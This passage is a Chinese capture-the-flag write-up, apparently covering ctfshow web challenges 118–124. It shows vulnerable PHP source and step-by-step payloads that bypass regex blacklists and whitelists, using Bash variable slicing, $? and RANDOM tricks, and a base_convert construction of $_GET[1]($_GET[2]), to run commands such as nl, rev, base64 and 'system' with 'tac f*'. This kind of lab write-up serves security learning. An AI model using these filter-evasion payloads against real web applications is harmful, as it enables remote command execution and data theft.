函数执行,而且只剩下 $
、{
、}
、?
、.
、~
等等字符和大写字母没有被 ban
可以用这些字符构建命令:常见 Bash 内置变量介绍
比如 $PATH
、$PWD
上面的 ${PATH:5:1}${PATH:11:1}
输出了 ls
,这是因为 Linux 中的切片,在 Linux 中,${var:offset:length}
为字符串切片形式,如上所示。当 length
为负数时,从尾部开始输出。
${PATH:5:1}${PATH:11:1}
就是利用的 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
中第 6 位( offset +1)字符 l
和第 12 位字符 s
,组合输出了 ls
,因此我们可以构造想要的命令输出。
但是数字被 ban 了,无法知道某个字符位置,这时候就能想到 Shell 语言中的 $(())
,它是等于 0 的,取反后为 -1,但是 ()
也被 ban了,没事,可以用 ${}
对一个空变量取反可以拿到一样的效果
1 2 3 4 5 6 7 ┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# echo $((N)) 0 ┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# echo $((~N)) -1
所以,我们可以构造一个nl
列出 flag 内容
然后在 /var/www/html
目录下可以拿到 l
1 2 3 ┌──(root㉿butt3rf1y)-[/var/www/html] └─# echo ${PWD:~N} l
而我们的 flag 直接用通配符
综上所述,payload 为
1 $ {PATH:~N}${PWD:~N} ????????
查看源代码找到 flag
Web 119 nl 用上一个 payload 已经不行了,PATH
被禁了,那么用 PWD
去构造,用 whereis
命令可以找到 nl
指令路径
1 2 └─# whereis nl nl : /usr/bin/nl
因为 PATH
不能用,那就用通配符 ?
,nl
就可以表示为
需要带上路径 /usr/bin/
,但是 /
和小写字母也被 ban 了,还是可以用 ?
代替
而输出 $PWD
就能知道第一位就是 /
,所以我们可以截取出来,当我们用 set
查看环境变量的时候会发现
因此我们可以输出 SHLVL
来表示 1
在 Linux 中,${}
中变量前加 #
可以获取字符串长度,那么就能表示为如下形式
因此构造出形如
1 $ {PWD::${#SHLVL} }???${PWD::${#SHLVL} } ???${PWD::${#SHLVL} } ?${PWD:~N} ????????
这个 payload 为 :/usr/bin/nl flag.xxx
形式,因为 数字被 ban 了,所以 ${var:offset:length}
就可以简写成 ${var::length}
表示从 0 开始
SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,比如说第一次打开 shell 时 $SHLVL=1
,然后在此 shell 中再打开一个 shell 时 $SHLVL=2
,其实就是套娃的数量
cat 相同的步骤
构造出
1 $ {PWD:${#} :${#SHLVL} }???${PWD:${#} :${#SHLVL} } ??${HOME:${#HOSTNAME} :${#SHLVL} } ????????
Web 120 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
终于有源码了TVT
因为有了长度限制为 65,之前的超出限制了,把 SHLVL
换成变量 #
于是 ${PWD::${SHLVL}}
-> ${PWD::${##}}
构造 payload
1 code=${PWD::${##}}???${PWD::${##}}???${PWD::${##}}?${PWD:~N} ????????
Web 121 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
ban 了很多,但是还是能用 PWD
,用 /???/r??
构造出路径 bin/rev
执行
1 code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????????
然后
Web 122 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
PWD
和 #
都不能用了,hint 给的
1 2 3 4 通过$? 来实现的,$? 是表示上一条命令执行结束后的传回值。通常0 代表执行成功,非0 代表执行有误payload: code=<A;${ HOME : : $? }?? ?$ {HOME : : $? }?? ?? ?$ {RANDOM : : $? } ?? ?? .?? ?
随机,一直刷新就能出来
<A
是将 A 文件夹内的命令重定向到终端进行执行,由于没有文件 A 肯定就会报错,那么 $?
就为 1,用 ${HOME::$?}
得到 /
,再用 RANDOM
随机数随机到 4 就能执行 /bin/base64
Web 124 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php /* # -*- coding: utf-8 -*- # @Author: 收集自网络 # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-06 14:04:45 */ error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
只能用白名单里的这些函数,都是一些 Math 函数,里面有很多进制转换的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 base_convert-在任意进制之间转换数字base_convert (string $num , int $from_base , int $to_base ): string bindec-二进制转十进制bindec (string $binary_string ): int |float decbin-十进制转换为二进制decbin (int $num ): string dechex-十进制转换为十六进制dechex (int $num ): string decoct-十进制转换为八进制decoct (int $num ): string hexdec-十六进制转换为十进制hexdec (string $hex_string ): int |float
我们只能构造函数或构造字母,base_convert()
函数能实现任意进制转换,在 36 进制中包含了所有的数字和字母,所以只需要将构造出 hex2bin
函数,然后再用 hexdex
函数转换成十进制,当我们构造的时候需要反过来执行
1 2 3 4 echo base_convert ('hex2bin' , 36 , 10 ); >>37907361743 echo hexdec (bin2hex ("_GET" )); >>1598506324
拿函数作为参数构造出c=$_GET[1]($_GET[2])&1=system&2=cat flag
1 ?c=$pi =base_convert (37907361743 ,10 ,36 )(dechex (1598506324 ));$$pi {1 }($$pi {2 });&1 =system&2 =tac f*